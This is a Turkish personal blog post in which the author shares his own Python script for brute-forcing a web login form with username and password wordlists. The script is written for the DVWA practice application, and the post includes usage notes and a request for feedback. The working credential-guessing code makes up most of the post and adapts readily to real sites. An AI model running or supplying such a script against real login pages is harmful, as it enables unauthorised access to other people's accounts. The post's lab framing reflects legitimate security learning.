Erdem YILDIZ

Siber Güvenlik Araştırmacısı
Python Geliştiricisi
Linux Hayranı

Python ile Kullanıcı Adı , Şifresi'ne Brute Force saldırısı

Merhaba arkadaşlar bugün python ile yazmış olduğum scripte parametre olarak Hedef site , Kullanıcı adların ve şifrelerin bulunduğu dosya yolunu vererek hedef site üzerine giriş yapmaya çalışan script'in amacını , kodlarını ve video ile kullanımı göstereceğim. Haydi bir giriş yapalım...

Arkadaşlar bu scripteki amacım şuydu.Daha öncelerde pekçok Brute Force saldırısı yapan script'i kullandım ve az çok nasıl çalıştığı hakkında fikir sahibi olduktan sonra kendi script'imi yazmak istedim.Bu script'de diğer Brute Force scriptleri gibi parametre olarak verdiğiniz bir hedef site üzerinde kullanıcı adı ve şifreleri deneyerek giriş yapmaya çalışıyor. Burada bilinmesi gereken şey şudur ki benim saldıracağım hedefim DVWA olduğundan öncelikle DVWA Giriş sayfasnın kaynak kodlarına inceledim ve daha sonra yazdım.Demek istediğim bu script her web site için kullanılamaya bilir.Öncelikle hedefin belirlenip incelenmesi ve daha sonra hedefe özgü script yazarak gerçekleştirilebilir.

Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
                                        #Brute-Force.py
                                        # -*- coding: utf-8 -*-
                                        #Bu script DVWA için yazılmıştır !!!
                                        import mechanize ,sys

                                        if len(sys.argv) !=7:
                                            print "{} -T target -UL userlist -PL passwordlist".format(sys.argv[0])
                                            sys.exit(0)
                                        else:
                                            target = sys.argv[2]
                                            user_list = sys.argv[4]
                                            pass_list = sys.argv[6]
                                            print sys.argv[0],target,user_list,pass_list

                                        br = mechanize.Browser()
                                        br.open(target)

                                        usr_name , pass_word = "" , ""
                                        with open(user_list,"r") as file:
                                            usr_name = file.readlines()
                                        with open(pass_list,"r") as file:
                                            pass_word = file.readlines()

                                        for usr in usr_name:
                                            u_usr = usr[:-1]
                                            for pas in pass_word:
                                                p_pass = pas[:-1]

                                                # Her web sitenin kullanıcı giriş'i ilk form olmak zorunda değil !!!
                                                br.select_form(nr=0)

                                                # Her websitedeki inputların adı username password olmaya bilir
                                                br["username"] = u_usr
                                                br["password"] = p_pass
                                                br.submit()
                                                respo = br.response()

                                                if respo.geturl() == target:
                                                    print "Invalid ({},{})".format(u_usr,p_pass)
                                                else:
                                                    print "!!!!!! Username and Password are found ->",(u_usr,p_pass)
                                                    sys.exit(0)
                                        

Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)